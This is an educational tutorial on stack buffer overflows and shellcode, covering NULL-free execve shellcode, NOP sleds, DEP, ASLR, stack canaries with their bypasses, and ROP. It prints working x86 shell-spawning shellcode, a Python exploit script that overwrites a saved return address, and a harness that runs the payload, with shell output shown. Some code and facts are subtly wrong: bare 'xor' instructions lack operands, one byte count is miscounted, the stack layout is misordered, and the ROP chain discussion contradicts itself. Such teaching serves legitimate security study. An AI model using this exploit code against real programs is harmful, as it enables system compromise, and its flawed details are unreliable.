Leeson 24-Shellcode Writing and Buffer Overflow Principles

Introduction: The Dark Art of Injecting Code

If you’ve ever wondered how exploits work—how attackers take control of a program and make it execute arbitrary code—then you’re in the right place. In this article, we’re going to dive deep into the world of shellcode: what it is, how it’s written, how it gets injected into a program, and the exploitation techniques that make it all possible.

Now, I need to be upfront with you: this is sensitive material. Understanding shellcode and buffer overflows is essential for security professionals (you can’t defend against attacks you don’t understand), but it can also be misused. I’m presenting this material from an educational and defensive perspective. If you’re learning this to become a better security engineer, to write more secure code, or to understand how attackers operate so you can defend your systems—welcome. If you’re looking to cause harm, you’re on your own.

We’ll cover buffer overflows (the classic stack-based overflow), how to write position-independent shellcode (code that doesn’t rely on hardcoded addresses), how to make shellcode “NULL-free” (avoid NULL bytes that would terminate a string), modern exploit mitigations (DEP, ASLR, stack canaries) and how attackers try to bypass them, and finally ROP (Return-Oriented Programming) as an alternative to injecting shellcode.

This is advanced material. I’m assuming you’re comfortable with x86 assembly, you understand the stack and heap, you know what system calls are, and you’ve at least heard of concepts like virtual memory and privilege levels. If you’re not there yet, go back and read the earlier articles in this series.

1. What is Shellcode? (Position-Independent Machine Code)

Let’s start with the basics: what exactly is “shellcode”? The name comes from the original purpose of this type of code: to spawn a shell (like /bin/sh on Linux or cmd.exe on Windows) so the attacker can execute arbitrary commands on the compromised system.

But shellcode has evolved beyond just “spawning a shell.” Nowadays, “shellcode” refers to any machine code that’s injected and executed in a vulnerable program. It could spawn a shell, but it could also do other things: establish a network backdoor, download and execute a payload, elevate privileges, etc.

1.1 The Key Characteristics of Shellcode

Shellcode has several important characteristics that distinguish it from “normal” programs:

1. It’s position-independent. Shellcode is injected into a target process’s memory at a location that’s not known in advance. So the shellcode can’t contain hardcoded addresses (like call 0x8048370 to call printf). It has to determine its own location at runtime and use relative addressing.

2. It’s compact. Shellcode is often injected via a buffer overflow or similar vulnerability that has limited space. So shellcode needs to be as small as possible. A typical shellcode might be 30-100 bytes (for a simple execve shell), but complex shellcode (with polymorphic decoding, network communication, etc.) can be much larger.

3. It avoids “bad characters.” When you’re injecting shellcode through a vulnerability, certain characters might cause problems. For example, if the vulnerability is in a strcpy call (which stops at a NULL byte), your shellcode can’t contain any NULL bytes (0x00). We’ll talk more about bad characters in Section 6.

4. It’s typically written in assembly. Because shellcode needs to be compact, position-independent, and free of bad characters, it’s almost always written directly in assembly. You can’t just compile a C program and use it as shellcode—the compiler will generate code with hardcoded addresses, NULL bytes, and other problematic constructs.

1.2 What Does Shellcode Do?

The simplest shellcode just calls the execve system call with /bin/sh as the argument. On Linux x86, that looks something like:

; execve("/bin/sh", 0, 0)
xor eax, eax
push eax            ; NULL terminator for "/bin/sh"
push 0x68732f2f    ; "//sh" (little-endian)
push 0x6e69622f    ; "/bin"
mov ebx, esp        ; EBX = pointer to "/bin/sh"
push eax            ; argv = NULL
mov edx, esp        ; EDX = NULL (envp)
mov ecx, esp        ; ECX = NULL (argv)
mov al, 0xB         ; execve syscall number (11)
int 0x80            ; Make system call

This is 25 bytes of machine code (depending on the exact instructions), and it spawns a shell. We’ll walk through this example in detail in Section 10.

1.3 Why “Shellcode”?

The name “shellcode” is a bit of a historical artifact. In the early days of exploitation (1990s), the goal of most exploits was to spawn a shell (giving the attacker interactive access to the compromised system). So the injected code was literally “code to spawn a shell,” hence “shellcode.”

Nowadays, shellcode can do much more than spawn a shell. But the name has stuck.

2. Buffer Overflow 101: Stack-Based Overflow

Before we can talk about injecting shellcode, we need to understand the vulnerability that makes injection possible: the buffer overflow.

A buffer overflow occurs when a program writes more data into a buffer (a region of memory) than the buffer can hold. The extra data “overflows” into adjacent memory, corrupting it. If the buffer is on the stack, the overflow can overwrite the function’s return address, which allows the attacker to redirect execution to arbitrary code (like shellcode).

2.1 A Vulnerable Program

Here’s a classic example of a vulnerable program:

#include <stdio.h>
#include <string.h>

void vulnerable_function(char *input) {
    char buffer[64];
    strcpy(buffer, input);  // No bounds checking!
    printf("You entered: %s\n", buffer);
}

int main(int argc, char **argv) {
    if (argc > 1) {
        vulnerable_function(argv[1]);
    }
    return 0;
}

The problem is strcpy(buffer, input). strcpy doesn’t check the length of input—it just copies bytes until it hits a NULL terminator. If input is longer than 63 bytes (64-byte buffer minus NULL terminator), it will overflow buffer and overwrite the stack.

2.2 The Stack Layout

To understand how the overflow works, we need to look at the stack layout when vulnerable_function is executing. The stack (growing downward on x86) looks like this:

Higher addresses
│
├─────────────────────┤
│  main's EBP         │  ← Saved EBP of main (4 bytes)
├─────────────────────┤
│  Return address      │  ← Saved EIP (4 bytes) - THIS IS THE TARGET
├─────────────────────┤
│  buffer[63]         │
│  ...                │
│  buffer[0]          │  ← 64 bytes of buffer
├─────────────────────┤
│  (other locals)     │
├─────────────────────┤
│  EBP of main        │  ← Current EBP points here
├─────────────────────┤
Lower addresses

When vulnerable_function returns, it pops the saved EIP (return address) from the stack and jumps to it. If we overflow buffer and overwrite the saved EIP, we can make the function return to any address we want.

2.3 Exploiting the Overflow

Here’s how an attacker would exploit this:

  1. Craft an input that’s longer than 64 bytes. The first 64 bytes can be anything (often they’re filled with a “NOP sled”—more on that in Section 7). The next 4 bytes overwrite the saved EBP (doesn’t matter much). The next 4 bytes overwrite the saved EIP.
  2. Set the saved EIP to the address of the shellcode. If the shellcode is on the stack (right after the overflow), we set EIP to that address.
  3. When vulnerable_function returns, it pops our crafted value into EIP, and execution jumps to our shellcode.

For example, if the buffer starts at address 0xBFFFFF80 (hypothetical), then the saved EIP is at 0xBFFFFF80 + 64 + 4 = 0xBFFFFFC4. If we fill the buffer with 68 bytes (64 buffer + 4 saved EBP) and then put 0xBFFFFF80 + 20 (somewhere in the NOP sled), the function will return to our shellcode.

2.4 Stack Layout Before/After Overflow

Let me illustrate the stack layout before and after the overflow:

graph TD
    A[Stack Before Overflow] --> A1[Saved EIP: 0x08048456]
    A --> A2[Saved EBP: 0xBFFFFFC0]
    A --> A3[buffer: 'A' x 64]
    
    B[Stack After Overflow] --> B1[Saved EIP: 0xBFFFFF80]
    B --> B2[Saved EBP: overwritten]
    B --> B3[buffer: 'A' x 64 + shellcode]
    
    A1 -->|Overflow overwrites| B1
    A2 -->|Overflow overwrites| B2
    
    B1 --> C[Execution jumps to 0xBFFFFF80]
    C --> D[Shellcode executes!]
    
    style A fill:#e8f5e9,stroke:#2e7d32,stroke-width:2px
    style B fill:#ffcdd2,stroke:#c62828,stroke-width:2px
    style D fill:#fff3e0,stroke:#e65100,stroke-width:2px

This diagram shows how the stack looks before and after the overflow. The key: the saved return address (EIP) gets overwritten with the address of the shellcode.

3. The Classic Stack Overflow Exploit

Now let’s walk through a complete exploit, step by step. We’ll use the vulnerable program from Section 2, and we’ll write a simple exploit that injects shellcode and spawns a shell.

3.1 Environment Setup

For this example, we’ll assume:

  • A 32-bit Linux system (x86).
  • The vulnerable program is compiled without stack canaries (-fno-stack-protector).
  • The stack is executable (-z execstack).
  • ASLR (Address Space Layout Randomization) is disabled (echo 0 > /proc/sys/kernel/randomize_va_space).

These are artificial conditions (modern systems have these mitigations enabled), but they make the example easier to understand. We’ll talk about the mitigations and how to bypass them in Section 8.

3.2 Writing the Exploit

An exploit is a program (or script) that generates the malicious input to the vulnerable program. For our example, the exploit needs to generate:

  1. A NOP sled (optional, but makes exploitation more reliable).
  2. The shellcode.
  3. The new return address (overwriting the saved EIP).

Here’s a simple exploit in Python:

import struct

# The shellcode (execve("/bin/sh", 0, 0))
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x89\xe1\xb0\x0b\xcd\x80"

# The address where the shellcode will be (hypothetical)
# In practice, you'd need to guess or leak this address.
ret_addr = 0xBFFFFF80  # Hypothetical stack address

# Build the payload
payload = b""
payload += b"\x90" * 64       # NOP sled (64 bytes)
payload += shellcode             # Shellcode
payload += b"A" * (76 - len(payload))  # Padding to reach saved EIP
payload += struct.pack("<I", ret_addr)   # Overwrite saved EIP

# Write payload to file (or pipe to vulnerable program)
with open("payload.txt", "wb") as f:
    f.write(payload)

print(f"Payload length: {len(payload)} bytes")

This is simplified—in a real exploit, you’d need to correctly calculate the offset to the saved EIP and the address of the shellcode.

3.3 Running the Exploit

$ python3 exploit.py
Payload length: 80 bytes

$ ./vulnerable `cat payload.txt`
bash$ whoami
user
bash$  # We have a shell!

If everything works, the vulnerable program will execute our shellcode and spawn a shell.

3.4 Why This Works (And Why It Often Doesn’t)

This exploit works because:

  1. The strcpy copies our entire payload into buffer, overflowing it.
  2. The overflow overwrites the saved EIP with 0xBFFFFF80.
  3. When vulnerable_function returns, it jumps to 0xBFFFFF80, which is inside our NOP sled.
  4. The CPU slides down the NOP sled and executes our shellcode.

But in practice, this often doesn’t work because of:

  • Stack canaries: The compiler might insert a “canary” value before the saved EIP. If the canary is overwritten, the program detects the overflow and aborts.
  • Non-executable stack (DEP/NX): The stack might be marked as non-executable. Our shellcode is on the stack, so it can’t be executed.
  • ASLR: The stack address is randomized, so we can’t hardcode 0xBFFFFF80. We’d need to guess or leak the address.
  • Bad characters: Our payload might contain NULL bytes (if we’re not careful), which would cause strcpy to stop early.

4. Writing Position-Independent Shellcode

One of the key challenges in writing shellcode is that it needs to be position-independent. It can’t rely on hardcoded addresses, because you don’t know where the shellcode will be loaded in memory.

4.1 Why Position-Independence Matters

In a normal program, the linker decides where each function and variable will be in memory. The compiler generates code with hardcoded addresses (like call 0x8048370 for printf). This works because the linker ensures that printf is actually at 0x8048370 when the program runs.

But shellcode is injected into a running process at a random location. You can’t know in advance whether your shellcode will be at 0xBFFFFF80, 0xBFFFF000, or somewhere else entirely. So you can’t use hardcoded addresses.

4.2 The JMP-CALL-POP Technique for Getting EIP

The classic technique for getting the current EIP (instruction pointer) in x86 is the JMP-CALL-POP trick. Here’s how it works:

jmp short .get_eip    ; 1. Jump over the CALL

.shellcode_start:
    ; ... shellcode continues here ...

.get_eip:
    call .shellcode_start ; 2. CALL pushes the address of .shellcode_start onto the stack
    ; 3. When .shellcode_start executes, the RET instruction will pop this address into EIP
    ; But we don't RET yet—we use POP to get the address into a register.
    pop ebx              ; 4. EBX now holds the address of .shellcode_start!
    ; Now we can use EBX as a base register for position-independent addressing.

This is clever. The CALL instruction pushes the address of the next instruction (.shellcode_start) onto the stack. Then, when .shellcode_start executes, we do a POP EBX to retrieve that address from the stack. Now EBX points to our shellcode, and we can use it for relative addressing.

4.3 Using Relative Addressing

Once we have a base register (like EBX), we can reference data relative to that register. For example:

jmp short .get_eip

.shellcode_start:
    pop ebx                 ; EBX = address of .shellcode_start
    
    ; Now we can reference our strings relative to EBX
    lea ecx, [ebx + offset_of_string]  ; ECX = pointer to string
    
    ; ... use ECX in a system call ...

.get_eip:
    call .shellcode_start
    
    ; Data (strings) embedded in the shellcode
    db "/bin/sh", 0
offset_of_string equ $ - .shellcode_start

This way, the shellcode works no matter where it’s loaded in memory.

4.4 Position-Independence in x86-64

In x86-64, there’s an easier way to get the current RIP (instruction pointer): the LEA instruction with RIP-relative addressing.

lea rbx, [rel .shellcode_start]  ; RBX = address of .shellcode_start
.shellcode_start:
    ; ... shellcode continues here ...

The [rel .shellcode_start] syntax tells the assembler to generate a RIP-relative address. This is much cleaner than the JMP-CALL-POP trick.

5. Syscall Shellcode: Making System Calls Directly

Shellcode typically needs to interact with the operating system (to spawn a shell, open a network socket, etc.). On Linux, this is done through system calls (syscalls). Instead of calling a library function like printf (which requires the library to be loaded at a known address), shellcode can invoke syscalls directly using the INT 0x80 (x86-32) or SYSCALL (x86-64) instruction.

5.1 How Linux System Calls Work (x86-32)

On x86-32 Linux, system calls are invoked via INT 0x80. The syscall number goes in EAX, and arguments go in EBX, ECX, EDX, ESI, EDI (in that order). The return value is in EAX.

For example, the execve syscall (number 11) has the signature:

int execve(const char *filename, char *const argv[], char *const envp[]);

To call execve("/bin/sh", NULL, NULL), we’d set:

  • EAX = 11 (syscall number)
  • EBX = pointer to "/bin/sh\0"
  • ECX = NULL (0)
  • EDX = NULL (0)

Then INT 0x80 executes the syscall.

5.2 Writing execve Shellcode

Let’s write the classic execve("/bin/sh", 0, 0) shellcode in NASM syntax:

section .text
global _start

_start:
    ; Step 1: Push "/bin/sh\0" onto the stack
    xor
    push eax            ; First, push NULL (0) to terminate the string
    
    ; Push "//sh" (8 bytes, easier to push as dword)
    push 0x68732f2f    ; "//sh" in little-endian
    
    ; Push "/bin"
    push 0x6e69622f    ; "/bin" in little-endian
    
    ; Now ESP points to "/bin//sh\0"
    mov ebx, esp        ; EBX = pointer to "/bin//sh\0"
    
    ; Step 2: Set up arguments for execve
    push eax            ; argv = NULL (push NULL twice for alignment)
    mov edx, esp        ; EDX = NULL (envp)
    mov ecx, esp        ; ECX = NULL (argv)
    
    ; Step 3: execve syscall
    mov al, 0xB         ; EAX = 11 (execve syscall number)
    int 0x80            ; Make the syscall

This shellcode is 25 bytes long (when assembled). It’s position-independent (no hardcoded addresses), and it avoids NULL bytes (except for the XOR EAX, EAX, which encodes as 0x31 0xC0—no NULL bytes).

Wait, actually, XOR EAX, EAX is 0x31 0xC0, which doesn’t have NULL bytes. Good. But push eax will push 0x00000000 onto the stack (4 NULL bytes). That’s fine—the NULL bytes are in the data on the stack, not in the shellcode itself. The shellcode instructions don’t contain 0x00 bytes.

5.3 Testing the Shellcode

To test this shellcode, you can write a small C program that copies the shellcode into a buffer and jumps to it:

#include <stdio.h>
#include <string.h>

// The shellcode (as byte array)
unsigned char shellcode[] = \
"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x89\xe2\x89\xe1\xb0\x0b\xcd\x80";

int main() {
    printf("Shellcode length: %d bytes\n", strlen(shellcode));
    
    // Cast shellcode to a function pointer and call it
    void (*func)() = (void (*)()) shellcode;
    func();
    
    return 0;
}

Compile and run:

$ gcc -o test_shellcode test_shellcode.c -z execstack
$ ./test_shellcode
Shellcode length: 25 bytes
$ whoami
user

It works!

6. Bad Characters in Shellcode: Avoiding NULL Bytes

When injecting shellcode through a vulnerability, you often can’t use certain characters. These are called “bad characters”, and avoiding them is a crucial part of shellcode writing.

6.1 What Are Bad Characters?

Bad characters are bytes that would cause the shellcode to be truncated, corrupted, or otherwise fail to be injected correctly. Common bad characters:

1. NULL byte (0x00) Many C string functions (strcpy, strcat, printf("%s")) treat NULL as a string terminator. If your shellcode contains a NULL byte, these functions will stop copying/processing at that point, and the rest of your shellcode won’t be injected.

2. Newline (0x0A) If the vulnerability is in a program that reads input line-by-line (like fgets), a newline will terminate the input.

3. Carriage return (0x0D) Similar to newline—can terminate input in some contexts.

4. Space (0x20) If the input is passed as a command-line argument and parsed by main, spaces might be treated as argument separators.

5. Others Depending on the context, other characters might be problematic (like 0xFF in some encodings, or HTML special characters in a web context).

6.2 How to Avoid NULL Bytes

The most common bad character is NULL (0x00). Here are some techniques for writing NULL-free shellcode:

1. Use XOR reg, reg instead of MOV reg, 0. MOV EAX, 0 encodes as 0xB8 0x00 0x00 0x00 0x00 (contains NULL bytes). XOR EAX, EAX encodes as 0x31 0xC0 (no NULL bytes).

2. Avoid instructions with byte-sized immediates that are zero. MOV AL, 0 encodes as 0xB0 0x00 (has a NULL byte). Instead, use SUB AL, AL or XOR AL, AL (which encode without NULL bytes).

3. Use smaller registers or different addressing modes. Sometimes you can restructure your code to avoid instructions that generate NULL bytes.

4. Encode the shellcode. If you can’t avoid bad characters, you can encode the shellcode (e.g., with a simple XOR encoding) and prepend a decoder stub that decodes and executes the shellcode. The decoder stub must itself be free of bad characters.

6.3 Example: Removing NULL Bytes from Shellcode

Let’s say we have this instruction in our shellcode:

push 0x12345678   ; Push a 32-bit value

If the value was 0x12345600, this would be fine (no NULL bytes). But if it’s 0x12345678, it’s also fine. Wait, push 0x12345678 encodes as 0x68 0x78 0x56 0x34 0x12 (no NULL bytes, because x86 is little-endian).

But push 0x00 encodes as 0x6A 0x00 (has a NULL byte). So if you need to push NULL, do:

xor eax, eax
push eax   ; Pushes 0x00000000 (NULL bytes in the DATA, not in the shellcode)

The PUSH EAX instruction itself doesn’t contain NULL bytes (it encodes as 0x50). The NULL bytes are on the stack (the data), which is fine—they’re not in the shellcode instruction stream.

6.4 Bad Characters Visualization

graph TD
    A[Shellcode with Bad Characters] --> B[Contains 0x00 NULL bytes]
    B --> C[strcpy stops at first NULL]
    C --> D[Only part of shellcode injected]
    D --> E[Exploit fails]
    
    F[NULL-Free Shellcode] --> G[No 0x00 bytes in instructions]
    G --> H[Full shellcode injected]
    H --> I[Exploit succeeds]
    
    J[Alternative: Encoded Shellcode] --> K[Encoder stub + encoded payload]
    K --> L[Decoder runs first, decodes payload]
    L --> M[Shellcode executes]
    
    style B fill:#ffcdd2,stroke:#c62828,stroke-width:2px
    style D fill:#ffcdd2,stroke:#c62828,stroke-width:2px
    style E fill:#ffcdd2,stroke:#c62828,stroke-width:2px
    
    style H fill:#c8e6c9,stroke:#2e7d32,stroke-width:2px
    style I fill:#c8e6c9,stroke:#2e7d32,stroke-width:2px
    style M fill:#c8e6c9,stroke:#2e7d32,stroke-width:2px

This diagram shows the problem with bad characters (NULL bytes) and the solutions: writing NULL-free shellcode or using an encoder.

7. NOP Sled: Increasing the Chance of Hitting Shellcode

When exploiting a stack overflow, you often don’t know the exact address where your shellcode will be. Maybe the stack address is slightly different each time (because of environment variables, arguments, etc.), or maybe ASLR is partially randomized.

A NOP sled is a technique to increase the chances of your shellcode executing even if you don’t hit the exact address.

7.1 What is a NOP Sled?

NOP (No OPeration) is an x86 instruction that does nothing (it’s a 1-byte instruction: 0x90). If you fill a region of memory with NOPs, the CPU will just slide through them (executing NOP after NOP) until it hits real code.

A NOP sled is a large block of NOPs placed before your shellcode. If you set the return address to any address in the NOP sled, the CPU will “slide” down the NOPs and eventually execute your shellcode.

7.2 How a NOP Sled Works

Consider this payload layout:

[NOP][NOP][NOP][NOP][NOP][NOP][NOP][NOP][Shellcode][Shellcode][Shellcode][RET][RET][RET][RET]

The [RET] is the overwritten return address. If we set [RET] to the address of any of the NOPs, the CPU will execute NOPs until it reaches the shellcode.

For example, if the NOP sled is 64 bytes, and the shellcode is 32 bytes, then any return address in the 64-byte NOP region will work. That’s 64 possible addresses that will successfully execute the shellcode (instead of just 1 if we didn’t use a NOP sled).

7.3 The Tradeoff: Size vs. Reliability

A longer NOP sled makes the exploit more reliable (because there are more “valid” return addresses). But it also makes the payload larger, which might not fit in the available buffer.

In practice, NOP sleds are often 16-256 bytes long. For small buffers, you might not be able to fit a NOP sled at all.

7.4 NOP Sled Visualization

graph LR
    A[Return Address] --> B[NOP Sled Start]
    B --> C[NOP]
    C --> D[NOP]
    D --> E[NOP]
    E --> F[NOP]
    F --> G[Shellcode Start]
    G --> H[Shellcode Body]
    H --> I[Shellcode End]
    
    A2[Alternative Return Address] --> D
    
    style B fill:#e3f2fd,stroke:#1565c0,stroke-width:2px
    style C fill:#e3f2fd,stroke:#1565c0,stroke-width:2px
    style D fill:#e3f2fd,stroke:#1565c0,stroke-width:2px
    style E fill:#e3f2fd,stroke:#1565c0,stroke-width:2px
    style F fill:#e3f2fd,stroke:#1565c0,stroke-width:2px
    
    style G fill:#c8e6c9,stroke:#2e7d32,stroke-width:2px
    style H fill:#c8e6c9,stroke:#2e7d32,stroke-width:2px

This diagram shows a NOP sled. The return address can point anywhere in the NOP sled (blue), and the CPU will slide down to the shellcode (green).

8. Modern Mitigations: DEP/NX, ASLR, Stack Canaries

If buffer overflows were still exploitable as easily as in the 1990s, the internet would be a disaster. Over the years, operating system and compiler developers have added mitigations—defensive measures that make exploitation much harder.

In this section, we’ll cover the three most important mitigations: DEP/NX (non-executable memory), ASLR (address space layout randomization), and stack canaries.

8.1 DEP/NX: Non-Executable Memory

DEP (Data Execution Prevention) or NX (No eXecute) is a hardware and software feature that marks certain memory pages as “non-executable.” If the CPU tries to execute code on a non-executable page, it triggers a #PF (page fault) or #GP (general protection fault), and the program crashes.

The goal: prevent attackers from injecting shellcode into a buffer (on the stack or heap) and executing it. If the stack/heap is marked NX, the shellcode can’t be executed.

Bypassing DEP/NX: If you can’t execute code on the stack/heap, you need to reuse existing code in the process’s address space. This leads to ROP (Return-Oriented Programming), which we’ll cover in Section 9.

8.2 ASLR: Address Space Layout Randomization

ASLR randomizes the memory addresses used by a process. The stack, heap, shared libraries, and sometimes even the main executable are loaded at random addresses (within certain constraints). The goal: prevent attackers from knowing the address of useful code or data (like the shellcode, or a system() function in libc).

With ASLR enabled, the stack address might be 0xBFF54000 one time, 0xBF883000 the next time. If the attacker needs to know the shellcode address to set the return address, ASLR makes it very hard to guess.

Bypassing ASLR:

  • Information leak: If the program accidentally leaks an address (e.g., through a format string vulnerability or an unchecked printf), the attacker can use that leak to calculate the actual addresses.
  • Brute force: For 32-bit systems, the ASLR entropy is relatively low (only 16 bits for the stack). You can try many times and eventually guess correctly.
  • Partial overwrite: Sometimes you can overwrite only part of the return address (e.g., the lower bytes), relying on the higher bytes being correct.

8.3 Stack Canaries: Detecting Overflows

Stack canaries (or “stack smashing protection”) is a compiler feature that inserts a random value (the “canary”) before the saved EIP on the stack. Before the function returns, it checks if the canary has been modified. If it has, the program knows a buffer overflow occurred and aborts.

The canary is placed here on the stack:

Saved EIP      ← Attacker wants to overwrite this
Saved EBP
Canary         ← Random value inserted by compiler
buffer[63]
...
buffer[0]

If the attacker overflows buffer to overwrite the saved EIP, they must also overwrite the canary. If the canary value is incorrect, the program detects the overflow.

Bypassing stack canaries:

  • Leak the canary: If the program has an information leak (like a format string vulnerability that can read the stack), the attacker can leak the canary value and include it in the payload.
  • Overwrite the canary: If you can overwrite the canary with its correct value (e.g., through another vulnerability), the check will pass.

8.4 Mitigation Techniques Comparison

graph TD
    A[Exploit Mitigations] --> B[DEP/NX - Non-Executable Memory]
    A --> C[ASLR - Address Randomization]
    A --> D[Stack Canaries - Overflow Detection]
    
    B --> B1[Prevents executing shellcode on stack/heap]
    B --> B2[Bypass: ROP - reuse existing code]
    
    C --> C1[Prevents knowing addresses]
    C --> C2[Bypass: Information leak, brute force]
    
    D --> D1[Detects buffer overflow before return]
    D --> D2[Bypass: Leak canary, overwrite correctly]
    
    style B fill:#fff3e0,stroke:#e65100,stroke-width:2px
    style C fill:#e3f2fd,stroke:#1565c0,stroke-width:2px
    style D fill:#f3e5f5,stroke:#6a1b9a,stroke-width:2px

This diagram summarizes the three main mitigations and their bypass techniques.

9. ROP (Return-Oriented Programming)

If DEP/NX prevents you from executing injected shellcode, how can you still exploit a buffer overflow? The answer is ROP (Return-Oriented Programming). Instead of injecting and executing new code, you reuse existing code in the process’s address space.

9.1 The Basic Idea of ROP

In a ROP attack, the attacker:

  1. Finds useful sequences of instructions in the existing code (in the main executable or in shared libraries like libc). These sequences end with a RET instruction (hence “return-oriented”).
  2. Overwrites the stack with the addresses of these “ROP gadgets” (in the correct order).
  3. When the vulnerable function returns, it doesn’t jump to shellcode—it starts “chaining” through the ROP gadgets. Each gadget does a small piece of work (like pop eax; ret or mov eax, [ebx]; ret), and the RET instruction causes the CPU to “return” to the next gadget.

By chaining gadgets together, the attacker can perform arbitrary computation (like calling system("/bin/sh")) without injecting any executable code.

9.2 Finding ROP Gadgets

ROP gadgets are sequences of instructions that end with RET (opcode 0xC3). They’re found in the existing code of the process. Common gadgets:

  • pop eax; ret — Load a value from the stack into EAX.
  • pop ebx; ret — Load a value from the stack into EBX.
  • ret — Just a RET (used to chain to the next gadget).
  • mov eax, ebx; ret — Copy EBX to EAX.
  • int 0x80; ret — Make a system call (if you can control EAX, EBX, etc.).

You can find gadgets using tools like ROPgadget, rp++, or by manually inspecting the binary with a disassembler.

9.3 Building a ROP Chain

Let’s say we want to call system("/bin/sh") using ROP. On x86-32 Linux, system is a function in libc. Its address is randomized by ASLR, but if we can leak the libc base address (or if ASLR is partial), we can calculate the address of system.

A ROP chain to call system("/bin/sh") might look like:

[Address of pop ebx; ret gadget]
[Address of "/bin/sh" string (in memory)]
[Address of system() in libc]

When the vulnerable function returns, it “returns” to the pop ebx; ret gadget. This pops the address of "/bin/sh" into EBX. Then the RET causes a “return” to system(), which expects its argument in the first parameter (which, for cdecl, is on the stack—but actually, system uses cdecl, so the argument should be on the stack after the return address).

Actually, for system("/bin/sh"), the argument ("/bin/sh") should be pushed onto the stack before calling system. So the ROP chain would be:

[Address of pop eax; ret]   // Gadget to load "/bin/sh" address into EAX
[Address of "/bin/sh"]
[Address of mov [esp], eax; ret]  // Gadget to push EAX onto stack
[Address of system()]

This is getting complex, and ROP chains are highly dependent on the specific binary and libraries. But the key insight: ROP allows you to perform arbitrary computation by chaining together existing code snippets.

9.4 ROP Mitigations and Bypasses

Mitigations:

  • ASLR (with full randomization of libc base) makes it hard to find gadget addresses.
  • RELRO (RELocation Read-Only) and Fortify make it harder to overwrite function pointers.
  • Control-Flow Integrity (CFI): The compiler inserts checks to ensure that indirect jumps and returns go to expected locations.

Bypasses:

  • Information leaks (to defeat ASLR).
  • JIT spraying (if the process has a JIT compiler, like a browser with JavaScript JIT).
  • Partial overwrites (overwrite only part of the return address).

10. Complete Example: Writing a Linux x86 execve Shellcode

Alright, let’s put everything together and write a complete, working execve("/bin/sh", 0, 0) shellcode for Linux x86-32. We’ll make it NULL-free and position-independent.

10.1 The Shellcode (NASM Syntax)

section .text
global _start

_start:
    ; execve("/bin/sh", 0, 0)
    ; EAX = 0 (we'll build up to 11 = execve)
    
    ; Step 1: Push "//sh\0/bin\0" onto the stack
    ; We use "//sh" instead of "/sh" because we need a dword-aligned push.
    xor
    push eax               ; Push NULL terminator (4 bytes of zeros)
    push 0x68732f2f       ; "//sh" (little-endian)
    push 0x6e69622f       ; "/bin"
    ; Now ESP points to the string "/bin//sh\0"
    
    ; Step 2: Set up arguments
    mov ebx, esp           ; EBX = pointer to "/bin//sh\0" (filename)
    push eax               ; argv = NULL (push 0)
    mov edx, esp           ; EDX = NULL (envp)
    push eax               ; argv = NULL (push another 0)
    mov ecx, esp           ; ECX = NULL (argv)
    
    ; Step 3: Set syscall number (execve = 11)
    ; We can't "mov al, 11" directly because 11 fits in AL,
    ; but we need to avoid NULL bytes. Actually, 11 = 0x0B, which is fine.
    mov al, 0xB            ; EAX = 11 (execve)
    
    ; Step 4: Make the syscall
    int 0x80               ; execve("/bin//sh", 0, 0)

10.2 Assembling and Extracting the Shellcode

Assemble with NASM:

$ nasm -f elf32 shellcode.asm -o shellcode.o
$ ld -m elf_i386 shellcode.o -o shellcode

Extract the shellcode bytes:

$ objdump -d shellcode | grep -A 20 "<_start>:"

The shellcode bytes (in hex) are:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x50\x89\xe1\xb0\x0b\xcd\x80

That’s 25 bytes. Let’s verify it’s NULL-free:

$ echo -n $'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x50\x89\xe1\xb0\x0b\xcd\x80' | xxd

No 0x00 bytes in the shellcode! (The PUSH EAX instructions push 0x00000000 onto the stack, but the shellcode bytes themselves don’t contain 0x00.)

10.3 Testing the Shellcode

Use the C test program from Section 5.3:

#include <stdio.h>
#include <string.h>
#include <sys/mman.h>

unsigned char shellcode[] = \
"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x89\xe2\x50\x89\xe1\xb0\x0b\xcd\x80";

int main() {
    // Allocate executable memory
    void *mem = mmap(NULL, sizeof(shellcode), PROT_EXEC | PROT_READ | PROT_WRITE,
                      MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    memcpy(mem, shellcode, sizeof(shellcode));
    
    // Jump to shellcode
    ((void (*)())mem)();
    
    return 0;
}

Compile and run:

$ gcc -o test_shellcode test_shellcode.c
$ ./test_shellcode
$ whoami
user
$  # We have a shell!
Course: Assembly Language Programming From Low-Level Logic to System Kernel
Share your love

Trending now

Exploring Web 3D Core Technologies Development
Assembly Language Programming From Low-Level Logic to System Kernel
WebRTC Advanced Guide：Media, Transport & Architecture
WebSocket Deep Guide：Building High-Performance Realtime Systems